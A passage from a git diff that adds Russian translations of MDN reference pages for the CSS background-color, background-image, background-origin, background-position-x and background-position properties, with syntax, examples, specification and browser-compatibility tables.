+background-color: rgba(117, 190, 218, 0.5); /* 0.5 - полупрозрачный */
+background-color: rgba(117, 190, 218, 1.0); /* 1.0 - непрозрачный */
+
+/* HSLA-значение */
+background-color: hsla(50, 33%, 25%, 0.75);
+
+/* Специальные словесные значения */
+background-color: currentColor;
+background-color: transparent;
+
+/* Общие значения */
+background-color: inherit;
+background-color: initial;
+background-color: unset;
+</pre>
+
+<div>Свойство <code>background-color</code> определяется единственным значением <code><a href="#&lt;color>">&lt;color&gt;</a></code>.</div>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>Является CSS {{cssxref("&lt;color&gt;")}}, которое описывает цвет фона. Даже если заданы одно или несколько {{cssxref("background-image")}}, цвет может отрендерится, если изображения прозрачны.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exampleone"&gt;
+ Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;
+
+&lt;div class="exampletwo"&gt;
+  Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;
+
+&lt;div class="examplethree"&gt;
+  Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[2,7,12,17];">.exampleone {
+  background-color: teal;
+  color: white;
+}
+
+.exampletwo {
+  background-color: rgb(153, 102, 153);
+  color: rgb(255, 255, 204);
+}
+
+.examplethree {
+  background-color: #777799;
+  color: #FFFFFF;
+}
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Примеры","200","150")}}</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Важно обеспечить достаточный цветовой контраст между цветом текста и фоном, чтобы люди со слабым зрением могли его прочитать, но при этом должна быть достаточная разница между введённым текстом и текстом placeholder, чтобы пользователь не путал их.</p>
+
+<p>Коэффициент цветового контраста определяется путём сравнения яркости текста placeholder и цветом фона формы ввода. Чтобы соответствовать рекомендациям <a href="https://www.w3.org/WAI/intro/wcag" rel="noopener">Web Content Accessibility Guidelines (WCAG)</a>, требуется соотношение 4.5:1 для основного текста и 3:1 для более крупного текста, например, заголовков. Крупный текст определяется как 18.66px и больше с жирным начертанием или 24px и больше с обычным начертанием.</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/" rel="noopener">WebAIM: Color Contrast Checker</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html" rel="noopener">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#background-color', 'background-color')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Хотя и убирается значение <code>transparent</code>, это ничего не меняет, так как оно было принято как верное значение {{cssxref("&lt;color&gt;")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-color', 'background-color')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Нет изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background-color', 'background-color')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<p class="hidden">Таблица совместимости на этой странице сгенерирована на основе структурированных данных. Если вы хотите внести изменения в данные, перейдите на <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам Pull Request.</p>
+
+<p>{{Compat("css.properties.background-color")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>
+  <p><a href="/ru/docs/Web/CSS/CSS_Background_and_Borders/Множественные_фоны">Множественные фоны</a></p>
+ </li>
+ <li>
+  <p>Тип данных {{cssxref("&lt;color&gt;")}}</p>
+ </li>
+ <li>Другие свойства, связанные с цветом: {{cssxref("color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, и {{cssxref("column-rule-color")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Applying_color">Применение цвета к HTML элементам с помощью CSS</a></li>
+</ul>
diff --git a/files/ru/web/css/background-image/index.html b/files/ru/web/css/background-image/index.html
new file mode 100644
index 0000000000..fa163b19df
--- /dev/null
+++ b/files/ru/web/css/background-image/index.html
@@ -0,0 +1,270 @@
+---
+title: background-image
+slug: Web/CSS/background-image
+tags:
+  - CSS
+  - CSS Background
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/background-image
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Краткое_описание">Краткое описание</h2>
+
+<p>Свойство <a href="/ru/docs/CSS" title="/ru/docs/CSS">CSS</a>  <strong><code>background-image</code></strong> устанавливает одно или несколько фоновых изображений для элемента. Изображения рисуются в слоях контекстов наложения одно поверх другого. Первый слой выводится так, чтобы он был ближе всего к пользователю.</p>
+
+<p><a href="/ru/CSS/border" title="border">Границы</a> {{cssxref("border")}} элемента затем рисуются поверх них, и {{cssxref("background-color")}} рисуется под ними. То, как изображения отрисовываются относительно рамки и ее границ, определяется CSS свойствами {{cssxref("background-clip")}} и {{cssxref("background-origin")}}.</p>
+
+<p>Если указанное изображение не может быть нарисовано (например, когда файл, определенный указанным URI, не может быть загружен), браузеры обрабатывают его так, как если бы оно было значением <code>none</code>.</p>
+
+<div class="note"><strong>Обратите внимание:</strong> Даже, если изображение непрозначно и цвет не будет показан при нормальных обстоятельствах, веб-разработчику следует всегда указывать аттрибут {{cssxref("background-color")}}. Если изображение не может быть загружено —например, в случае отказа сетевого подключения — у элемента будет отображён цветной фон.</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css notranslate">background-image: none;
+background-image: url(http://www.example.com/bck.png);
+
+background-image: inherit;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Это ключевое слово обозначает отсутствие изображений.</dd>
+ <dt><code>&lt;image&gt;</code></dt>
+ <dd>{{cssxref("&lt;image&gt;")}} обозначает изображение для отображения. Их может быть несколько, разделенных запятыми, поскольку поддерживается<a href="/ru/docs/CSS/Multiple_backgrounds" title="Multiple backgrounds"> несколько фонов</a>.</dd>
+</dl>
+
+<h3 id="Официальный_синтаксис">Официальный синтаксис</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax("background-image")}}
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Multiple_backgrounds_and_transparency" name="Multiple_backgrounds_and_transparency">Несколько фонов и прозрачность</h3>
+
+<p>Обратите внимание, что изображение звезды частично прозрачно и наложено на изображение кошки.</p>
+
+<h4 id="HTML_содержимое">HTML содержимое</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+    &lt;p class="catsandstars"&gt;
+        This paragraph is full of cats&lt;br /&gt;and stars.
+    &lt;/p&gt;
+    &lt;p&gt;This paragraph is not.&lt;/p&gt;
+    &lt;p class="catsandstars"&gt;
+        Here are more cats for you.&lt;br /&gt;Look at them!
+    &lt;/p&gt;
+    &lt;p&gt;And no more.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_содержимое">CSS содержимое</h4>
+
+<pre class="brush: css notranslate">pre, p {
+    font-size: 1.5em;
+    color: #FE7F88;
+    background-color: transparent;
+}
+
+div {
+  background-image: url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png");
+}
+
+p {
+  background-image: none;
+}
+
+.catsandstars {
+  background-image:  url("https://mdn.mozillademos.org/files/11991/startransparent.gif"),
+                     url("https://mdn.mozillademos.org/files/7693/catfront.png");
+  background-color: transparent;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Multiple_backgrounds_and_transparency')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#background-image', 'background-image')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Начиная с CSS2 Revision 1, свойство было расширено для поддержки нескольких фонов и любого типа данных CSS {{cssxref("&lt;image&gt;")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-image', 'background-image')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Начиная с CSS1, теперь описывается способ обработки изображений с внутренними размерами и без них.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background-image', 'background-image')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}[1]</td>
+   <td>4.0</td>
+   <td>3.5</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>Multiple backgrounds</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>9.0</td>
+   <td>yes</td>
+   <td>1.3</td>
+  </tr>
+  <tr>
+   <td>Gradients</td>
+   <td>1.0{{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}{{property_prefix("-moz")}}</td>
+   <td>10</td>
+   <td>11+{{property_prefix("-o")}}</td>
+   <td>4.0{{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td>SVG images</td>
+   <td>8.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9.0</td>
+   <td>9.5</td>
+   <td>5.0 [2]</td>
+  </tr>
+  <tr>
+   <td><code>element</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-moz")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>image-rect</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-moz")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Any {{cssxref("&lt;image&gt;")}} value.</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>iOS Safari</th>
+   <th>Opera Mini</th>
+   <th>Opera Mobile</th>
+   <th>Android Browser</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>yes</td>
+   <td>yes</td>
+   <td>yes</td>
+   <td>yes</td>
+  </tr>
+  <tr>
+   <td>Multiple backgrounds</td>
+   <td>yes</td>
+   <td>yes</td>
+   <td>yes</td>
+   <td>yes</td>
+  </tr>
+  <tr>
+   <td>Gradients</td>
+   <td>yes {{property_prefix("-webkit")}}<br>
+    old webkit syntax for iOS 4.2 and older</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>yes{{property_prefix("-webkit")}}<br>
+    old webkit syntax</td>
+  </tr>
+  <tr>
+   <td>SVG images</td>
+   <td>yes [2]</td>
+   <td>yes</td>
+   <td>yes</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>element</code></td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-moz")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>image-rect</code></td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-moz")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Any {{cssxref("&lt;image&gt;")}} value</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Если пользовательские настройки <code>browser.display.use_document_colors</code> в <code>about:config</code> установлены на <code>false</code>, фоновые изображения не будут отображаться.</p>
+
+<p>[2] Поддержка SVG в CSS background является неполной в текущей версии iOS Safari (5.0). То же самое для Safari до 5.0.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/Guide/CSS/CSS_Image_Sprites">CSS спрайты изображений</a></li>
+ <li>{{HTMLElement("img")}}</li>
+ <li>Статьи, связанные с изображениями:: {{cssxref("&lt;image&gt;")}}, {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, {{cssxref("element")}}.</li>
+</ul>
diff --git a/files/ru/web/css/background-origin/index.html b/files/ru/web/css/background-origin/index.html
new file mode 100644
index 0000000000..b61932f1b9
--- /dev/null
+++ b/files/ru/web/css/background-origin/index.html
@@ -0,0 +1,105 @@
+---
+title: background-origin
+slug: Web/CSS/background-origin
+translation_of: Web/CSS/background-origin
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>background-origin</code></strong> устанавливает <em>область расположения фона</em>. Другими словами, оно устанавливает исходную позицию изображения, установленнную с помощью свойства {{cssxref("background-image")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-origin.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на извлечение.</p>
+
+<p>Обратите внимание, что <code>background-origin</code> игнорируется, когда {{cssxref("background-attachment")}} является <code>fixed</code>.</p>
+
+<div class="note"><strong>Примечание:</strong> Сокращение {{cssxref("background")}} сбрасывает значения этого свойства к его начальному значению, если оно не указано.</div>
+
+<h2 id="Синаксис">Синаксис</h2>
+
+<pre class="brush: css no-line-numbers">/* Ключевые значения */
+background-origin: border-box;
+background-origin: padding-box;
+background-origin: content-box;
+
+/* Глобальные значения */
+background-origin: inherit;
+background-origin: initial;
+background-origin: unset;
+</pre>
+
+<p>Свойство <code>background-origin</code> указывается в качестве одного из значений ключевых слов, перечисленных ниже.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>border-box</code></dt>
+ <dd>Фон располагается относительно рамки.</dd>
+ <dt><code>padding-box</code></dt>
+ <dd>Фон расположен относительно поля отступа.</dd>
+ <dt><code>content-box</code></dt>
+ <dd>Фон располагается относительно поля содержимого.</dd>
+</dl>
+
+<h3 id="Официальный_синтаксис">Официальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush:css; highlight:[6];">.example {
+  border: 10px double;
+  padding: 10px;
+  background: url('image.jpg');
+  background-position: center left;
+  background-origin: content-box;
+}
+</pre>
+
+<pre class="brush:css; highlight:[6];">#example2 {
+  border: 4px solid black;
+  padding: 10px;
+  background: url('image.gif');
+  background-repeat: no-repeat;
+  background-origin: border-box;
+}
+</pre>
+
+<pre class="brush:css; highlight:[4];">div {
+  background-image: url('logo.jpg'), url('mainback.png'); /* Applies two images to the background */
+  background-position: top right, 0px 0px;
+  background-origin: content-box, padding-box;
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background-origin', 'background-origin')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</p>
+
+<p>{{Compat("css.properties.background-origin")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("background-clip")}}</li>
+</ul>
diff --git a/files/ru/web/css/background-position-x/index.html b/files/ru/web/css/background-position-x/index.html
new file mode 100644
index 0000000000..3a49c0609c
--- /dev/null
+++ b/files/ru/web/css/background-position-x/index.html
@@ -0,0 +1,100 @@
+---
+title: background-position-x
+slug: Web/CSS/background-position-x
+translation_of: Web/CSS/background-position-x
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <strong><code>background-position-x</code></strong> - это <a href="/en-US/docs/Web/CSS">CSS</a> - свойство, которое устанавливает начальную горизонтальную позицию для каждого фонового изображения. Эта позиция является относительной к позиции слоя, установленной с помощью свойства {{cssxref("background-origin")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-position-x.html")}}</div>
+
+
+
+<p>Значение этого свойства отменяется любой декларацией {{cssxref("background")}} или коротким свойством {{cssxref("background-position")}} применеными после его объявления.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: css no-line-numbers">/* Keyword values */
+background-position-x: left;
+background-position-x: center;
+background-position-x: right;
+
+/* &lt;percentage&gt; values */
+background-position-x: 25%;
+
+/* &lt;length&gt; values */
+background-position-x: 0px;
+background-position-x: 1cm;
+background-position-x: 8em;
+
+/* Side-relative values */
+background-position-x: right 3px;
+background-position-x: left 25%;
+
+/* Multiple values */
+background-position-x: 0px, center;
+
+/* Global values */
+background-position-x: inherit;
+background-position-x: initial;
+background-position-x: unset;
+</pre>
+
+<p>Свойство <code>background-position-x</code> принимает одно или несколько значений, разделенных запятыми.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>left</code></dt>
+ <dd>Выравнивает левый край фонового изображения по левому краю фонового позиционирующего слоя.</dd>
+ <dt><code>center</code></dt>
+ <dd>Выравнивает центр фонового изображения по центру фонового позиционирующего слоя.</dd>
+ <dt><code>right</code></dt>
+ <dd>Выравнивает правый край фонового изображения по правому краю фонового позиционирующего слоя.</dd>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd><span class="tlid-translation translation" lang="ru"><span title="">Смещение левого вертикального края данного фонового изображения от левого вертикального края фонового слоя.</span> <span title="">(Некоторые браузеры позволяют назначать правый край для смещения).</span></span></dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd><span class="tlid-translation translation" lang="ru"><span title="">Смещение горизонтальной позиции заданного фонового изображения относительно контейнера.</span> <span title="">Значение 0% означает, что левый край фонового изображения выровнен с левым краем контейнера, а значение 100% означает, что правый край фонового изображения выровнен с правым краем контейнера, таким образом</span> <span title="">значение 50% горизонтально центрирует фоновое изображение.</span></span></dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Backgrounds', '#background-position-longhands', 'background-position-x')}}</td>
+   <td>{{Spec2('CSS4 Backgrounds')}}</td>
+   <td>Initial specification of longhand sub-properties of {{cssxref("background-position")}} to match longstanding implementations.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("css.properties.background-position-x")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("background-position")}}</li>
+ <li>{{cssxref("background-position-y")}}</li>
+ <li>{{cssxref("background-position-inline")}}</li>
+ <li>{{cssxref("background-position-block")}}</li>
+ <li><a href="/en-US/docs/CSS/Multiple_backgrounds" title="CSS/Multiple backgrounds">Использование множественных фонов</a></li>
+</ul>
diff --git a/files/ru/web/css/background-position/index.html b/files/ru/web/css/background-position/index.html
new file mode 100644
index 0000000000..1d3d5ab02a
--- /dev/null
+++ b/files/ru/web/css/background-position/index.html
@@ -0,0 +1,178 @@
+---
+title: background-position
+slug: Web/CSS/background-position
+translation_of: Web/CSS/background-position
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>background-position</code></strong> устанавливает начальную позицию для каждого фонового изображения. Положение относительно уровня положения, установленного {{cssxref("background-origin")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-position.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на извлечение.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: css no-line-numbers">/* Ключевые значения */
+background-position: top;
+background-position: bottom;
+background-position: left;
+background-position: right;
+background-position: center;
+
+/* &lt;процент&gt; значения */
+background-position: 25% 75%;
+
+/* &lt;отрезок&gt; значения */
+background-position: 0 0;
+background-position: 1cm 2cm;
+background-position: 10ch 8em;
+
+/* Несколько изображений */
+background-position: 0 0, center;
+
+/* Значения смещения края */
+background-position: bottom 10px right 20px;
+background-position: right 3em bottom 10px;
+background-position: bottom 10px right;
+background-position: top right 10px;
+
+/* Глобальные значения */
+background-position: inherit;
+background-position: initial;
+background-position: unset;
+</pre>
+
+<p>Свойство <code>background-position</code> указывается в виде одного или нескольких значений <code><a href="#&lt;position>">&lt;position&gt;</a></code>, разделенных запятыми.</p>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt><a id="&lt;position>" name="&lt;position>"><code>&lt;position&gt;</code></a></dt>
+ <dd>{{cssxref("&lt;position&gt;")}}. Позиция определяет координату x/y, чтобы разместить элемент относительно границ поля элемента. Она может быть определена с использованием одного и двух значений. Если используются два значения, первое значение предоставляет горизонтальную позицию, а второе представляет вертикальную позицию. Если указано только одно, второе значение считается <code>center</code>.</dd>
+ <dd>
+ <p><strong>Синтаксис 1-значения:</strong> значение может быть:</p>
+
+ <ul>
+  <li>Значение ключевого слова <code>center</code>, которое центрирует изображение.</li>
+  <li>Одно из значений ключевых слов <code>top</code>, <code>left</code>, <code>bottom</code>, <code>right</code>. Оно указывает край напротив, которого нужно поместить элемент. Затем для другого измерения устанавливается значение 50%, таким образом элемент размещается в середине указанного края.</li>
+  <li>{{cssxref("&lt;length&gt;")}} или {{cssxref("&lt;percentage&gt;")}}. Оно указывает координату X относительно левого края, с координатой Y установленной на 50%.</li>
+ </ul>
+
+ <p><strong>Синтаксис с 2-значениями:</strong> одно из значений определяет X, а другое определяет Y. Каждое значение может быть:</p>
+
+ <ul>
+  <li>Одно из значений ключевых слов <code>top</code>, <code>left</code>, <code>bottom</code>, <code>right</code>. Если здесь указаны <code>left</code> или <code>right</code>, то оно определяет  X, а другое заданное значение определяет Y. Если даны <code>top</code> или <code>bottom</code>, то оно определяет Y, а другое значение определяет X.</li>
+  <li>{{cssxref("&lt;length&gt;")}} или {{cssxref("&lt;percentage&gt;")}}. Если другое значение является <code>left</code> или <code>right</code>, то оно определяет Y, относительно верхнего края. Если другое значение <code>top</code> или <code>bottom</code>, то оно определяет X, относительно левого края. Если оба значения <code>&lt;length&gt;</code> или <code>&lt;percentage&gt;</code>, то первое определяет X, а второе Y.</li>
+ </ul>
+
+ <p>Обратите внимание,что:</p>
+
+ <ul>
+  <li>Если одно значение <code>top</code> или <code>bottom</code>, то другое значение не может быть <code>top</code> или <code>bottom</code>.</li>
+  <li>Если одно значение  является <code>left</code> или <code>right</code>, то другое значение не может быть <code>left</code> или <code>right</code>.</li>
+ </ul>
+
+ <p>Это означает, например, что <code>top top</code> и <code>left right</code> являются недействительные.</p>
+ </dd>
+</dl>
+
+<h3 id="Официальный_синтаксис">Официальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>Каждый из этих примеров использует свойство {{cssxref("background")}} для создания желтого, прямоугольного элемента, содержащего изображение звезды. В каждом примере, звезда находится в другой позиции. Третий пример иллюстрирует, как указать позиции для разных фоновых изображений в одном элементе.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exampleone"&gt;Example One&lt;/div&gt;
+&lt;div class="exampletwo"&gt;Example Two&lt;/div&gt;
+&lt;div class="examplethree"&gt;Example Three&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* Общий среди всех &lt;div&gt;-ов */
+div {
+  background-color: #FFEE99;
+  background-repeat: no-repeat;
+  width: 300px;
+  height: 80px;
+  margin-bottom: 12px;
+}
+
+/* В этих примерах используется сокращенное свойство 'background' */
+.exampleone {
+  background: url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #FFEE99 2.5cm bottom no-repeat;
+}
+.exampletwo {
+  background: url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #FFEE99 3em 50% no-repeat;
+}
+
+/* Несколько фоновых изображений: каждое изображение сопоставляется
+   с соответствующей позицией, от первого указанного до последнего. */
+.examplethree {
+  background-image:    url("https://mdn.mozillademos.org/files/11987/startransparent.gif"),
+                       url("https://mdn.mozillademos.org/files/7693/catfront.png");
+  background-position: 0px 0px,
+                       center;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Examples', 420, 200)}}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#background-position', 'background-position')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Добавлена поддержка нескольких фонов и синтаксиса с четырьмя значениями. Изменяет определение процента, чтобы соответствовать реализациям.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-position', 'background-position')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Позволяет смешивать значения ключевых слов и {{cssxref("&lt;length&gt;")}} и {{cssxref("&lt;percentage&gt;")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background-position', 'background-position')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость браузеров</h2>
+
+<p class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</p>
+
+<p>{{Compat("css.properties.background-position")}}</p>
+
+<h3 id="Quantum_CSS_заметки">Quantum CSS заметки</h3>
+
+<ul>
